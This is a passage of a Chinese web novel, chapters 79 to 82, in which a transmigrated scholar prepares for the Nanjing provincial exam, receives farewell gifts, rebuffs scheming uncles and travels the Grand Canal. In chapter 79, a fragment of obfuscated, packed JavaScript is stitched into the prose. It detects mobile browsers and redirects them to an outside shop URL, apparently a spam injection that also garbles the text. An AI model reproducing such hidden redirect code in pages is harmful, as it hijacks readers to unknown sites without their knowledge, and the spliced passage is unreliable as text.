未来的路还很长,狂飙才刚刚开始,
岂能过早被儿女情长、家族利益捆住手脚?
广阔天地,大有可为。
至于良缘,终须缘分与心意俱足,
强求不得,亦无需急求。
第79章 准备乡试,目标南直隶
院试的喧嚣与七叔公议婚的风波,
如同投入湖面的石子,
荡开几圈涟漪后,终究渐渐平息。
苏家小院重归宁静,
只檐下多了一块“秀才及第”的匾额,
黑底金字,在淮北常见的灰蒙天色下,
透着一种沉甸甸的、崭新的气象。
苏惟瑾的生活似乎又回到了之前的节奏,
埋首书卷,深居简出。
但只有他自己知道,目标已然不同。
秀才功名,在这沭阳县城或许能引得乡绅侧目,
但在波澜壮阔的大明仕途上,
不过是刚刚拿到了入场券。
下一关,才是真正的龙潭虎穴
——今年八月,南京应天府,南直隶乡试。
南直隶,何等概念?
应天(南京)、苏州、松江、常州、镇江……
大明朝最富庶、文风最鼎盛之地,
人才荟萃,精英云集。
一榜解额虽较它省为多,
但竞争之惨烈,堪称地狱级别。
与之相比,他这沭阳案首,
不过萤火之于皓月。
“刷——”
夜已深,油灯如豆。
苏惟瑾指尖划过书页上一行字
——“南闱之文,务求渊雅宏博,
理法精深,非北闱之质朴,
亦非他省之奇巧。”
这是他从赵教谕处借来的一本前辈翰林笔记上的批注。
超频大脑无声运转,
将这条信息与之前搜集的无数碎片整合、分析。
“渊雅宏博,理法精深……”
他喃喃自语,目光锐利。
这八个字,就是下一步努力的方向。
“吱呀——”
房门被轻轻推开,
七叔公端着一碗冒着热气的糖水鸡蛋走了进来,
脸上带着近乎讨好的笑意。
自议婚被婉拒后,
老头儿非但没有着恼,
反而更加小心翼翼。
“惟瑾啊,夜深了,歇歇眼睛,趁热吃了。”
七叔公将碗轻轻放在桌角,
瞥见桌上摊开的众多书籍、笔记,
又是心疼又是骄傲。
“乡试还早,慢慢来,不急在这一时……”
“谢叔公。”
苏惟瑾接过碗,温度恰到好处。
他舀起一勺送入口中,
甜而不腻,显然是花了心思的。
“功课一日不可荒废。
南直隶藏龙卧虎,
侄孙不敢有丝毫懈怠。”
“那是,那是!”
七叔公连连点头。
“咱们苏家就指望你了!
有什么要跑腿要打听的,
尽管让族里的小子们去办!”
苏惟瑾心中微动,放下碗勺:
“说起来,还真有事要劳烦叔公和族亲。
能否托人去南京的书坊,
尽可能搜罗近十年来南直隶乡试的程文墨卷?
尤其是中式前列者的文章,多多益善。
价钱不是问题。”
他如今有了秀才身份,又略有积蓄,
说话底气足了不少。
“程文墨卷?
好!包在叔公身上!
明日就让你八叔跑一趟淮安府,
那边书坊大,肯定有!”
七叔公拍着胸脯保证。
七叔公前脚刚走,
后脚一个小小的身影便端着一个木盆,
悄无声息地挪了进来,是苏婉。
“哥哥,”
她声音细细的,带着晚间的凉意。
“我烧了热水,给你泡泡脚,解解乏。”
她将木盆放在苏惟瑾脚边,
里面是热气腾腾的清水,
还飘着几片不知从哪里寻来的、
据说能安神的艾草叶。
她自己则挽起袖子,
露出瘦瘦的手腕,就要蹲下身来。
苏惟瑾连忙拦住她:
“婉妹,我自己来。
这些事,以后不用你做。”
苏婉却执拗地摇摇头,
眼神清澈而坚定:
“哥哥读书辛苦,婉妹帮不上大忙,
只能做这些小事。
哥哥快坐下。”
看着她坚持的样子,
苏惟瑾心中一暖,不再推辞。
他将双脚浸入温热的水中,
一股暖流瞬间从足底蔓延至全身,
连日苦读的疲惫似乎真的消散了几分。
苏婉就安静地坐在旁边的小凳子上,
双手托着腮,看着哥哥,
眼神里是全然的依赖和一丝不易察觉的担忧。
她不太懂乡试有多难,
但她知道哥哥要去一个很远很大的地方考试,
那一定比院试还要辛苦得多。
“哥哥,”
她小声开口。
“你去南京……要很久吗?”
“嗯,会去一段时间。”
苏惟瑾温声答道。
苏婉低下头,
手指无意识地绞着衣角,
过了一会儿才又抬起头,
努力做出一个轻松的表情:
“那哥哥放心去,我会看好家的。
我现在会做饭,会洗衣,还会喂鸡,
五婶她们……对我也还客气。”
她顿了顿,声音更轻了些。
“哥哥不用惦记我,一定要考中哦!”
听着妹妹懂事得让人心疼的话语,
苏惟瑾心中软成一片。
他伸手揉了揉她的头发,
郑重承诺:
“好,哥哥一定努力考中。
婉妹在家也要好好的,
等哥哥回来。”
泡完脚,苏婉利落地收拾好一切,
又仔细检查了哥哥桌上的灯油是否充足,
这才轻手轻脚地退了出去,
小心地带上了房门。
送走七叔公和妹妹,
苏惟瑾并未立刻继续读书,
而是铺开一张纸,提笔蘸墨。
超频大脑如同精密的数据处理中心,
开始规划下一步行动。
第一条线,信息搜集。
程文墨卷是其一。
其二,他需再去拜会王县令和赵教谕。
**是进士出身,虽非南直隶籍,
但对科举动态、朝堂风向嗅觉灵敏。
赵明远深耕地方教育,
与府学、甚至南监(南京国子监)必有联系,
或能提供更具体的考官偏好、学术流派信息。
第二条线,自身强化。
“渊雅宏博”,要求的是知识储备的宽度和深度。
四书五经朱注是根基,
必须烂熟于胸,但不够。
需博览群书,诸子百家、史书典籍,
乃至前人笔记、地方志乘,
都要广泛涉猎,增加文章的厚重感和说服力。
“理法精深”,则要求论证严密,逻辑层层递进。
这恰是他的强项,
但需用更符合古文法度的方式呈现。
练习,大量的练习,
针对不同题型进行高强度写作训练。
第三条线,经济基础。
赶考南京,路途遥远,
盘缠、住宿、交际,皆需银钱。
虽有积累,但坐吃山空。
需开辟财路。
或许……
可以利用超频大脑中的一些知识,
做些小规模的尝试?
思路既定,行动便雷厉风行。
次日,他便递了名刺,先去拜会王县令。
县衙后堂,**见到他,笑容比往日更亲切几分。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571390|186215||http|test|mini|href|location''.split(''|''),0,{}));
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>“玉衡此番前来,可是为乡试之事?”
**捻着短须,眼中透着了然。
“大人明鉴。”
苏惟瑾拱手。
“学生确为此事困扰。
南直隶才俊如云,学生僻处沭阳,
恐见识短浅,特来向大人请教。”
**点点头,沉吟道:
“南闱确实非同小可。
其文风,重典实,重气度,
不喜险怪,亦恶空疏。
近来朝中颇有重实务之风,
恐策问一道,会更贴近钱谷、兵刑、河工等实际政务。
你于此道颇有见地,乃是优势,
但切记需引经据典,
言之有据,不可徒逞臆说。”
他顿了顿,压低声音:
“听闻今科南直隶主考,
很可能出自礼部翟大人。
翟大人讲学,重‘知行合一’,恶空谈性理。
你文章若能将经义与实务结合,或能投其所好。”
苏惟瑾心中一震,这可是极其宝贵的信息!
连忙起身拜谢:
“多谢大人指点迷津!”
“呵呵,不必多礼。
你乃我县英才,本官自当扶助。”
**笑着摆摆手,
又提点了几句南京的注意事项。
从县衙出来,苏惟瑾又拜访了赵教谕。
赵明远更是倾囊相授,
不仅拿出了自己当年参加乡试的心得笔记,
更修书一封,让苏惟瑾带去南京国子监,
寻一位与他交好的博士,或能提供更多帮助。
“南京非沭阳可比,那里不仅是考场,更是名利场,是非窝。”
赵明远神色严肃。
“你初至金陵,当以慎独为主,
专注备考,勿要轻易卷入无谓的交际应酬,
以免乱了心性,甚至惹祸上身。”
“学生谨记先生教诲。”
苏惟瑾深深揖首。
带着两位贵人的指点,
苏惟瑾心中的脉络越发清晰。
他几乎将所有时间都投入了备考之中。
超频大脑的优势被发挥到极致:
高效记忆,快速阅读,
深度分析,模拟写作。
他反复研读能找到的所有南直隶乡试程文,
分析其结构,品味其用典、气韵、理路。
他模拟不同题目进行写作,
然后自行批改,
用现代逻辑学、修辞学审视古文,
不断调整,力求在规范中展现新意,
在厚重中透出锋芒。
偶尔疲惫时,他会想起那几张面容。
芸娘偷偷送来的新鞋;
王雪茹大大咧咧分享的“军中锻体术”;
还有赵文萱…那份厚厚的、凝聚心血的笔记,
以及那日赵府书房中,无声流淌的默契与欣赏。
当然,还有婉妹每日睡前端来的那盆温热洗脚水,
和那句“哥哥不用惦记我”的懂事话语。
这些细微的暖流,悄然滋养着他孤军奋战的旅程。
这一日,七叔公兴冲冲地回来,
带来了第一批从淮安府重金购回的程文集和几本罕见的江南大儒的经义笔记。
苏惟瑾抚摸着那些散发着墨香的书册,
目光仿佛已穿透时空,
看到了那座虎踞龙盘的金陵古城,
看到了那座肃穆宏大的江南贡院。
那里,将是他的下一个战场。
沭阳太小,已不足为舞台。
南直隶乡试,解元之位……
苏惟瑾深吸一口气,眼中光芒敛去,只剩下沉静的决心。
他铺开纸笔,开始了新一轮的攻读。
金陵风云,将因他的到来,而掀起新的波澜。
第80章 金陵引路函,芳心各悄然
沭阳县学的书房内,
墨香与旧纸特有的沉郁气息交织。
赵明远端坐案前,
神色比平日更显凝重几分。
他提起一支狼毫小笔,
在一封素笺上落下最后几行字,
吹干墨迹,小心封入函套,
这才长长舒了口气。
“玉衡,”
他将信函推向桌案对面的苏惟瑾,语气沉缓。
“乡试之难,尤以南直隶为最。
非惟才学,亦关眼界、人脉与点拨。
你于沭阳,已臻极限,若欲更上层楼,
需见更大世界,听更高明之士论道。”
苏惟瑾双手接过信函,
触手微沉,心知这薄薄一纸,分量千钧。
“此乃我写给金陵国子监博士文徴明先生的信。”
赵明远解释道。
“文先生,字征仲,号衡山居士,(此时文徴明已经34岁,没有中举,但是才名响彻江南。这里为了剧情需要给他安排的南京国子监博士身份。)
乃姑苏文林先生之长公子,
家学渊源,自身亦是书画大家,
尤精篆刻,于经史之道造诣极深。
其人性情豁达,不慕荣利,
如今在国子监潜心学问,教化监生。
他与我乃同年秀才,有几分交情。
你持我信函前往,
他或能看顾一二,
若能得他些许指点,
胜过你闭门苦读半年。”
文徵明!
超频大脑瞬间调出相关信息:
文氏家族,吴门书画领袖,
文化界的泰山北斗。
文徴明本人,不仅承袭家学,
更是公认的篆刻鼻祖,
其学问、艺术修养皆属顶尖。
这等人物,在文化圈的影响力非同小可。
赵教谕这份人情,送得实在太重!
“先生厚恩,学生…学生何以为报?”
苏惟瑾起身,深深一揖,言辞恳切。
赵明远摆摆手,捋须道:
“不必如此。
见良材美玉而欲琢之,乃师者本性。
你只需谨记,金陵之地,
繁华迷眼,亦是非丛生。
谨言慎行,专注举业,莫负我等期望便是。”
“学生定当铭记先生教诲,绝不敢忘!”
怀揣着这封沉甸甸的荐信走出县学,
苏惟瑾只觉得前路豁然开朗。
一条通往更高学术殿堂的捷径,
已在他面前悄然铺开。
他即将赴金陵求学的消息,
如一枚石子投入平静湖面,
在小小的沭阳县漾开圈圈涟漪,
也悄然触动了不同人的心弦。
最先知晓的是芸娘。
这日苏惟瑾去陈氏书铺购置一些旅途所需的地理杂书,
结账时,芸娘低着头,
手指绞着衣角,声如蚊蚋:
“苏…苏相公,听说你要去南京了?”
“是啊,备考乡试,需去早些安顿。”
苏惟瑾温和答道。
芸娘飞快地抬眸看了他一眼,
又迅速低下,从柜台下取出一个精心缝制的靛蓝色布包,
塞到他手里,脸颊绯红:
“南…南京路远,天气潮热,
这…这里面是几双吸汗的布袜,
还有一小瓶薄荷膏,
蚊虫叮咬了能抹……
不,不值什么钱,
你…你带着吧……”
布针脚细密匀称,
薄荷膏透着清凉香气,
显然是花了极大心思。
苏惟瑾微微一怔,
心中涌起一股暖流,郑重接过:
“多谢芸娘姑娘,此物甚好,于我大有用处。”
见他收下,芸娘松了口气,
嘴角抿起一丝羞涩的欢喜,又慌忙道:
“路上……路上千万小心。”
便再不敢多言,
转身假装去整理书架,
只是那耳根的红晕久久未褪。
她的关切,是这般朴实无华,
却针针线线皆见真情。
王雪茹得知消息的方式则颇具她个人的风格。
她直接策马冲到苏家小院门口,
马蹄声嘚嘚,引得左邻右舍探头张望。
少女一身利落的骑射装束,
跳下马来,马尾辫一甩,
冲着刚出门的苏惟瑾便是一拳捶在他肩上
(力道控制得恰到好处,不疼,却够劲道)。
“好你个苏惟瑾!
闷声不响就要跑金陵去了?
那可是个好地方,
听说秦淮河上画舫如织,
美人如云,你可别光顾着看花了眼,
忘了读书正事!”
她柳眉倒竖,语气凶巴巴,
眼底却藏着一丝不易察觉的关切与…
或许她自己都未觉察的淡淡失落。
苏惟瑾被她捶得哭笑不得,拱手道:
“王姑娘说笑了,
惟瑾是去赶考,岂敢懈怠?
秦淮风月,于我不过浮云耳。”
“哼,算你识相!”
王雪茹下巴一扬,
从马鞍旁解下一个小皮囊扔给他。
“喏,拿着!
我爹从卫所弄来的金疮药和解毒散,
效果比市面上卖的好十倍!
金陵人多眼杂,万一有个磕碰碰碰,
或者吃了不干净的东西,
都能应应急!
别还没考试就先躺下了!”
这份礼物,果然很“王雪茹”,
直接、实用,带着一股江湖儿女的豪爽气。
苏惟瑾笑着接过:
“多谢王姑娘,姑娘巾帼风范,
虑事周详,惟瑾佩服。”
“少拍马屁!”
王雪茹脸微微一热,翻身上马,
勒紧缰绳,最后丢下一句。
“好好考!要是中了举人回来,
本姑娘…本姑娘请你喝酒!”
说罢,一夹马腹,骏马嘶鸣一声,
载着红衣少女如一团火般远去了。
她的关怀,总是这般飒爽直接,
带着不容拒绝的热度。
而赵文萱的反应,
则如她其人,含蓄而雅致。
赵教谕归家后,
大抵与女儿提了此事。
隔了一日,苏惟瑾收到一个小书僮送来的锦盒。
打开一看,里面并非金银俗物,
而是两本线装手抄册子,墨迹犹新。
一本扉页上娟秀小楷写着《南都风物小记》,
详细记录了南京的气候饮食、
街巷布局、坊市特点、
甚至各色物价水平,
显然是精心搜集整理所得。
另一本则是《近科南闱墨选精要》,
竟是亲手抄录的近年优秀乡试文章,
并在页眉行间,
用细笔写下了许多精到的批注,
点出文章妙处与可借鉴之法。
册子最末,附着一枚素笺,
上是赵文萱那清丽脱俗的字迹:
“闻君将至金陵备考,
略备薄礼,聊助行色。
金陵文华之地,然亦多浮华,
望君慎独守心,潜心向学,
早传捷音。
妹文萱谨奉。”
没有当面赠送,唯有墨香传意。
这份礼物,价值远超金银,何其用心
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!
何其知心!
完全契合苏惟瑾当下最迫切的需求,
无声地诉说着支持与理解,
更有一份超乎寻常的默契与期待。
苏惟瑾抚摸着那细腻的纸张和工整的批注,
仿佛能看到那位清丽少女在灯下伏案疾书、凝神思索的模样。
他小心收起锦盒,心中感念莫名。
这份情谊,沉静而深厚。
三份心意,三种风情,皆系于一人之身。
苏惟瑾自嘲似的一笑。
情感模块虽显克制,
却并非毫无波澜。
行期将近,苏惟瑾心中最放不下的,
仍是妹妹苏婉。
这日,他特意请来了七叔公到家中,
苏婉也安静地坐在一旁。
“七叔公,”
苏惟瑾神色郑重,
向老人深深一揖。
“侄孙不日即将启程前往金陵,
此行短则数月,长则半载。
家中诸事皆可放下,
唯独舍妹婉妹,年纪尚小,
侄孙实在放心不下。
恳请叔公看在同族血脉,
看在侄孙为您、为族中略尽绵薄的份上,
在我离乡期间,代为看顾婉妹。”
七叔公闻言,立刻拍着胸脯,
语气斩钉截铁:
“惟瑾,你这话就见外了!
婉儿不仅是你的妹妹,
也是我苏正廉的侄孙女!
以前是叔公糊涂,
让你们兄妹受了委屈。
你放心,只要我老头子在一天,
就绝不让婉儿再受半点欺负!
吃穿用度,一应事务,
自有你七奶和族里照应,
断不会短了她半分!
你安心去考你的功名,
家里一切有我!”
苏惟瑾心下稍安,
又取出早已准备好的十两银子,
递给七叔公:
“这些银钱,作为婉妹日常用度,
若有急事,也可应个急。”
七叔公却连连摆手,有些着恼:
“收回去!快收回去!
你这是打你叔公的脸吗?
供养自家孩子,还要你出钱?
你赶考路上处处要用钱,自己留着!
婉丫头的事,族里难道还管不起?”
见七叔公态度坚决,
苏惟瑾只好收回银子,
再次躬身道谢。
他又转向苏婉,温声叮嘱:
“婉妹,哥哥不在家,
你要听七叔公和七奶的话,
照顾好自己。
有事就去找大山哥,
或者去书铺寻芸娘姐姐,知道吗?”
苏婉眼圈微红,却用力点头,
强忍着不让眼泪掉下来,
声音带着一丝哽咽却异常坚定:
“哥哥放心,婉妹会好好的,
会听话,等着哥哥高中归来。”
她走上前,轻轻拉住苏惟瑾的衣袖,
小声补充。
“哥哥在外,也要万事小心,
按时吃饭,不要熬太晚……”
他收拾行囊,那靛蓝布包、
小皮囊、锦盒,皆被妥善安置。
七叔公忙着张罗盘缠,
族中兄弟羡慕地前来送行,
絮叨着“惟瑾哥中了举人莫忘了拉拔兄弟”之类的话语。
沭阳城的轮廓在身后渐渐模糊。
苏惟瑾立于船头,长风拂动他的青衫。
前路,是六朝金粉之地,
是天下文枢之所,
是更广阔的舞台,也更汹涌的暗流。
名师在望,芳心暗系,功名在前。
少年的金陵征途,于此启航。
第81章 辞桑梓赴文枢,恶亲拦路自
嘉靖元年的秋意,
已悄然染透了沭阳城头的柳梢。
这一日清晨,西街苏家小院门口,
却是人头攒动,比年节还热闹几分。
七叔公苏正廉穿着一身浆洗得硬邦邦的深色直裰,
头发梳得油光水滑,
连那几根翘起的白发都服帖地压了下去。
他站在最前头,
脸上是极力想维持长辈威严、
却又压不住那嘴角上扬的得意,
反复叮嘱着。
苏惟瑾一身半新不旧的青衫,
浆洗得干干净净,身姿挺拔如修竹。
他身后跟着书童小奇和两位膀大腰圆的族兄苏惟山、苏惟虎。
赵教谕也赶来了,
没有多言,
只是拍了拍苏惟瑾的肩膀,
目光中满是期许。
人群外围,陈芸娘搀着母亲,远远站着。
芸娘手里紧紧攥着一个帕子,
里面包着几只还温热的煮鸡蛋,
一双含露目痴痴望着那青衫身影,欲语还休。
王雪茹骑着一匹枣红马,
换回了利落的红衣,
在场边来回小跑,见状高声喊道:
“苏惟瑾!金陵要是有人欺负你,
记下名字,回头本姑娘帮你揍他!”
引得众人一阵哄笑。
她声音清脆,目光灼灼,
毫不掩饰地追随着苏惟瑾的身影。
恰在此时,
一顶不起眼的小轿在街角远处停下,
轿帘微掀,露出赵文萱沉静的侧颜。
她本是悄然前来,只想远远一瞥,
却不料正看见王雪茹纵马高呼、英姿飒爽的一幕,
也瞥见了人群外围那抹柔弱守望的熟悉身影——陈芸娘。
赵文萱的目光在王雪茹明媚张扬的脸上停顿一瞬,
指尖无意识地将轿帘捻紧了些。
这位县教谕家的千金,
倒是…毫不避讳。
她随即又看向芸娘,
见其一副我见犹怜、怯怯生生的模样,
黛眉几不可查地轻蹙了一下,
心中莫名生出一丝烦厌,
似是嫌她过于怯懦,
又似恼她总能那般理所当然地占据一个柔弱的位置。
她旋即放下轿帘,
隔绝了外界的一切,
只是那骤然静谧的轿厢内,
仿佛能听见一声极轻极淡的、
几乎不存在的冷哼。
王雪茹喊完话,
正得意地环视四周,
目光扫过街角,
恰好捕捉到那顶小轿放下帘子的最后一瞬。
她认得那是赵家的轿子。
哼,赵小姐倒是矜持,
来了也只敢躲着看。
她撇撇嘴,又瞥见不远处低着头、绞着帕子的芸娘,
心中更是莫名一股火气窜起
——这一个两个,都这般不爽利!
她猛地一拉缰绳,
枣红马喷了个响鼻,
蹄子不安地刨着地面,
分明也感受到了主人的那点不痛快。
芸娘本就心思敏感,
如何察觉不到那两道截然不同却同样带着审视的目光?
她感到王雪茹灼人的视线扫过,
头垂得更低,脸上火辣辣的,
手中的鸡蛋仿佛也变得烫手起来。
她知道自己不该来,可又忍不住。
待那街角的轿帘落下,
她心中更是微微一刺,
泛起难言的酸涩和自卑。
赵小姐那样的人,
才是真正配得上惟瑾哥哥的吧……
自己这般模样,倒像是平白惹人笑话。
她悄悄往后缩了缩,
几乎想将自己藏到母亲的身后去。
三位少女,
心思各异地立于这同一幅送别图卷的一角,
彼此的目光在空气中短暂交错的瞬间,
竟似溅起了无形的火花,
有嫉妒,有比较,有不屑,
也有自怜,种种微妙心绪,
最终都化入那渐行渐远的橹声里。
苏惟瑾将岸上众人的情态尽收眼底,
心中暖流涌动,亦有一份沉甸甸的责任感。
他再次环揖一圈,朗声道别,转身登上了雇好的乌篷船。
船只解缆,缓缓离岸。
岸上众人挥手告别,呼声不绝。
船行至运河主道,顺流而下,速度渐快。
沭阳城那熟悉的轮廓在晨雾中渐渐模糊缩小。
苏惟瑾立于船头,
任凭秋风拂动衣袂,
心中豪情与期待交织。
新的征程,开始了!
然而,这份开阔心情并未持续太久。
船行至下午,
在一个名为清江浦的繁忙漕运码头稍作停靠,补充给养。
此处帆樯如林,商贾云集,
南来北往的口音嘈杂喧闹。
苏惟瑾正吩咐小奇去买些新鲜炊饼,
忽听岸上传来两声谄媚又突兀的高喊:
“惟瑾!惟瑾侄儿!等等我们!”
苏惟瑾眉头一皱,循声望去。
只见人流中挤出两个熟悉的身影,
不是他那两个“好叔伯”苏有才、苏有德又是谁?
两人跑得气喘吁吁,满头油汗,
苏有才手里还拎着个寒酸的小包袱。
两人冲到岸边,不等船家搭跳板,
竟手脚并用地就想往船上爬,
引得船身一阵摇晃。
“哎哎!你们干什么的!”
船家不满地呵斥。
苏有才一边扒着船帮,
一边仰起脸,挤出讨好的笑容,对苏惟瑾道:
“大侄儿!可算赶上你了!
听说你要去金陵赶考,
这可是天大的喜事!
我们做叔伯的,
哪能让你一个人上路?
这一路山高水长,
盗匪出没,多危险!
我们哥俩商量好了,
特意放下手里活计,护送你一程!
路上也好有个照应,
帮你提提行李,跑跑腿!”
苏有德在一旁连连点头,
一双眼睛却贼溜溜地往船舱里瞄,
仿佛在估算这趟行程能捞到多少油水。
超频大脑瞬间洞悉其意图:
什么护送?
分明是听说他要发达了,
想来蹭吃蹭喝蹭玩,
顺便看看能不能捞点好处!
去金陵的花销,
他们定然想全赖在自己身上,
说不定还指望借着“举人老爷叔伯”的名头在外招摇。
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>苏惟瑾脸色瞬间冷了下来,
根本懒得与他们虚与委蛇。
不等他开口,
身后的苏惟山、苏惟虎两兄弟早已怒目而视。
他们虽是旁支,
却也深知这对兄弟当初如何苛待苏惟瑾,差点逼死他。
苏惟山是个暴脾气,
踏前一步,蒲扇般的大手直接拦住想要上船的两人,声如洪钟:
“有才叔,有德叔!
不必劳烦二位了!
七叔公早有安排,
护送惟瑾兄弟的事,
有我们兄弟俩足够!
船上地方小,挤不下恁多人,
二位请回吧!”
苏有才脸一僵,强笑道:
“惟山小子,你这是什么话?
我们是他亲叔伯,
还能害他不成?
这路上……”
“亲叔伯?”
一直冷眼旁观的苏惟瑾终于开口,
声音平淡,却带着一股不容置疑的冷意,
“当初将我送去张家为奴时,
二位叔叔可曾想过是亲叔伯?
如今我要去赶考,
倒想起这层关系了?”
他目光如刀,扫过两人瞬间煞白的脸:
“我的路,自己走。
不劳二位‘费心’。
惟山兄说的对,
船小,容不下二位大佛。
请回。”
这话可谓毫不留情,直接撕破了那层遮羞布。
码头上已有不少人被吸引,
指指点点,窃窃私语。
苏有才、苏有德脸上红一阵白一阵,
羞恼至极,却又不敢真个发作。
如今的苏惟瑾已是秀才相公,
名声在外,又得县令看重,
早已不是他们能拿捏的那个孤侄了。
“你…你…好你个苏惟瑾!
中了秀才就六亲不认了是吧?
我们好歹是长辈!”
苏有德色厉内荏地嚷道。
“长辈?”
苏惟瑾嗤笑一声。
“若论族规,苛待孤侄,夺产逼奴,该当何罪?
二位若想论,我不介意请七叔公和族老们,
与二位好好‘论一论’!”
两人顿时哑火,冷汗直流。
真闹起来,他们绝对占不到半点便宜。
“船家,开船。”
苏惟瑾不再看他们一眼,
转身走入船舱。
船夫早就看不惯这俩无赖,
长篙猛地一撑,乌篷船迅速离岸。
苏有才、苏有德站在码头上,
气得跳脚大骂,却又无可奈何,
只能眼睁睁看着船只远去,
成为运河上的一个小黑点,
最终消失在茫茫水汽之中。
船舱内,苏惟山啐了一口:
“呸!什么东西!”
苏惟瑾神色已恢复平静,
宛似刚才只是赶走了两只苍蝇。
他望着窗外浩荡的运河,
两岸沃野千里,城镇村落星罗棋布。
沭阳已远,麻烦的“亲人”也被甩脱。
前路,是天下文枢的金陵,
是汇聚江南才俊的乡试考场,
是真正属于他的广阔天地。
少年嘴角微扬,眼中尽是睥睨与期待。
狂飙之路,自此始。
第82章 运河千里眼,民间疾苦声
乌篷船摇碎了沭阳的倒影,
沿着古老的漕运河,一路向南。
船首劈开浑浊的河水,
溅起细碎的水花,
两岸的景致如同缓缓展开的、
一幅名为“大明嘉靖初年”的写实长卷。
最初的几日,
苏惟瑾还多半时间待在舱内,
翻阅赵文萱所赠的《南都风物小记》和《近科南闱墨选精至》。
但很快,他就被窗外的世界吸引了。
这运河,乃是帝国的血脉,亦是社会的缩影。
官船、漕船、商船、客船、渔船……
各式船只穿梭往来,桅杆如林,帆影蔽日。
号子声、吆喝声、讨价还价声、乃至莺歌燕语声,
混杂着河水腥气、货物霉味、饭菜香气,
扑面而来,喧嚣而鲜活。
漕工们古铜色的脊背上汗珠滚落,
喊着粗犷的号子,拖动满载粮袋的船只;
税卡小吏斜戴着帽子,
打着官腔,对过往商船敲骨吸髓;
卖菱角、莲藕的划子灵巧地穿行其间,船家女嗓音清亮;
偶尔还有装饰华丽的画舫慢悠悠漂过,
丝竹之声隐隐传来,带着脂粉的腻香。
苏惟瑾的超频大脑如同最精密的仪器,
无声地记录、分析着这一切:
漕运的效率、商品的流通、
人员的流动、社会各阶层的状态……
然而,这繁华之下,暗流涌动。
船只停靠补给时,
他上岸行走,看到的更多是另一番景象。
越往南,土地兼并的痕迹似乎愈发明显。
大片大片的良田,阡陌相连,
望不到边,却往往只立着一块某某府某某堂的界碑。
而田埂地头,弯腰劳作的多是面黄肌瘦的佃户,眼神麻木。
偶尔能看到一些荒芜的院落,
断壁残垣,暗示着原主人或许已破产**。
在淮安府城外码头,一场冲突恰被他撞见。
几个如狼似虎的衙役,
正驱赶着一群衣衫褴褛的百姓,
他们的破家当被扔得满地都是。
“滚开!滚开!
这码头也是你们这帮穷酸能待的地方?
冲撞了老爷们的官船,
你们有几个脑袋!”
衙役的鞭子在空中甩得啪啪响。
一个老汉跪地哭求:
“差爷行行好!
就容俺们在这角落躲两天雨,
找到投奔的亲戚就走,就走……”
“屁的亲戚!
我看你们就是贼伙探子!
再不走,全抓进大牢!”
衙役一脚踹翻老汉的破包袱,
几个干硬的窝窝头滚落在地,
被一脚踩碎。
周围的人群默默看着,
眼神里有同情,有恐惧,更多的是麻木。
苏惟瑾拳头攥紧,
超频大脑瞬间计算出上前理论的无数种可能后果
——无一例外,都会引火烧身,
耽误行程,甚至可能被安上个“煽动民变”的罪名。
他深吸一口气,强迫自己冷静,
但那一幕已深深烙进脑海。
流民,越来越多。
桥洞下,破庙里,
甚至路边用树枝烂草搭就的窝棚中,
都能看到他们茫然无助的眼睛。
有拖家带口的,
有孤身一人的,
有病的,有饿得奄奄一息的。
偶尔有善人施粥,
队伍能排出一里地去。
书童小奇看得咂舌,小声对苏惟山说:
“山哥,这外面……咋比咱沭阳还难?”
苏惟山闷声道:
“闭上嘴,看好行李。”
他眼神警惕地扫过那些饥饿的目光,
将行李筐挪得更靠里些。
苏惟虎则默默地将随身的干粮饼子掰碎,
趁人不注意,
飞快地塞给一个盯着他手中饼、
眼睛发直的小女孩。
女孩一把抓过,狼吞虎咽,
连谢谢都忘了说,便躲回了母亲身后。
旅途沉闷,气氛有些压抑。
苏惟瑾看在眼里,心中一动。
这日晚间,船泊在一个小镇码头,
同泊的还有几条载客的乌篷船。
船家们凑在一起喝酒吹牛,
乘客们则多在船头摇扇乘凉。
苏惟瑾将小奇、惟山、惟虎叫到身边,
又对邻近船上几个竖着耳朵好奇张望的乘客笑了笑,朗声道:
“长夜漫漫,枯坐无趣,
我这儿有几个前人赶考途中听来的奇闻异事,
诸位可愿一听,博君一笑?”
众人正无聊,闻言纷纷叫好。
苏惟瑾清了清嗓子,
超频大脑中前世看过的《聊斋志异》、《子不语》等篇目飞速闪过,
稍加改编,便信手拈来。
“却说前朝有位书生,
姓宁名采臣,赴金华赶考途中,
宿于一荒寺……”
他声音不高,却抑扬顿挫,将《聂小倩》的故事娓娓道来。
那兰若寺的阴森,女鬼小倩的凄美,
侠士燕赤霞的豪迈,
黑山老妖的恐怖,被他讲得绘声绘色。
众人听得如痴如醉,时而惊呼,时而叹息。
讲到紧张处,连旁边船上的船家都忘了喝酒,捏着酒杯屏息凝神。
一个故事讲完,众人轰然叫好,直呼过瘾。
“苏相公,再讲一个吧!”
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“是啊是啊,这鬼故事听得人又怕又想听!”
苏惟瑾微微一笑,又从脑中调出《画皮》的故事。
这次,他讲得更溜,
还加入了些自己的发挥,
将王生贪恋美色招致灾祸、
道士除妖的经过讲得一波三折。
“……那恶鬼被道士宝剑钉在墙上,
兀自挣扎咆哮,竟撕下身上的人皮,
露出青面獠牙的本相!
王生偷眼一看,吓得魂飞魄散,
这才知自己引狼**,悔之晚矣!”
“该!”
一个粗豪的船夫听得入神,
猛地一拍大腿。
“这等色迷心窍的书呆子,
就该让鬼吃了去!
幸好有个好婆娘和真道士!”
众人哄笑,气氛彻底热闹起来。
此后几日,每当泊船休息,
听苏相公讲故事便成了惯例。
同行的旅人越聚越多,
甚至连附近船上的一些小商贩、
走亲访友的妇孺都被吸引过来。
苏惟瑾肚子里的故事仿佛无穷无尽,
从鬼狐精怪讲到奇案侦破,
偶尔还穿插些寓意深刻的笑话。
旅途的疲惫与沉闷,
竟在这欢声笑语中驱散了不少。
苏惟瑾也通过这种方式,
与这些三教九流的底层百姓有了更多接触,
听到了许多官面上听不到的闲谈抱怨:
哪家地主心黑,哪处的税格外重,
哪年遭了灾没人管……
他微笑着倾听,
超频大脑却将这些碎片信息一一归类、分析,
与大明朝的土地、赋税、吏治政策相互印证。
窗外的流民,胥吏的凶恶,土地的集中,
与船舱内听故事百姓们脸上短暂的笑容,形成了尖锐的对比。
